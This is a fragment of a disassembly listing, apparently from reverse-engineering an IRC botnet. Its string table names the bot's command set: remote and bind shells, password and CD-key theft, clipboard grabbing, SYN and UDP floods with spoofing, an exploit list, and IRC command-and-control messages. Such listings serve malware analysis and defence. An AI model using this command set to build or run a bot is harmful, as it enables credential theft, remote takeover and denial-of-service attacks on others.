DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA24 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA44 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA48 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA60 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BA98 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAB0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BACC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BAE8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB04 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42BB40 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB64 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BB84 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBA4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBBC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BBDC db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42BC30 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC4C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42BC90 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42BD30 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42BD6C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDA8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BDE4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE20 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE5C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42BEB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BEE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFA4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C020 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE7o ; sub_401ACD+4FA1o dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 10h aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 10h aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 10h aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C138 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1A0 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1B4 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1B8 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1C4 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 10h aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437F84o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C284 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2AC db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 4 aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437BF0o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 10h dword_42C370 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 10h dword_42C390 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3B4 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C404 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 10h aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C44C db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C480 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C490 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4A0 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4B0 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4C0 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C4CC dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C4D8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C4E4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C4FC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C508 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 10h dword_42C520 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C530 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C54C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C55C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 4 dword_42C578 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C584 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C598 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5A4 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5B0 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5BC dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C5CC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C5EC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C5F8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C60C dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 4 dword_42C628 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C644 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 10h aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C66C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 10h aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 10h aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C1Co ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 4 asc_42C718: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 10h aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 4 aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C75C db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 10h unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 10h unk_42C7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 10h unk_42C820 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 10h dword_42C8A0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8B8 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8C0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C8DC dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C8E8 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C8EC db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 10h aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42C928 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C930 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C944 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42C968 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9BC db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 10h a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 4 asc_42CA28: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA2C: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA30 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 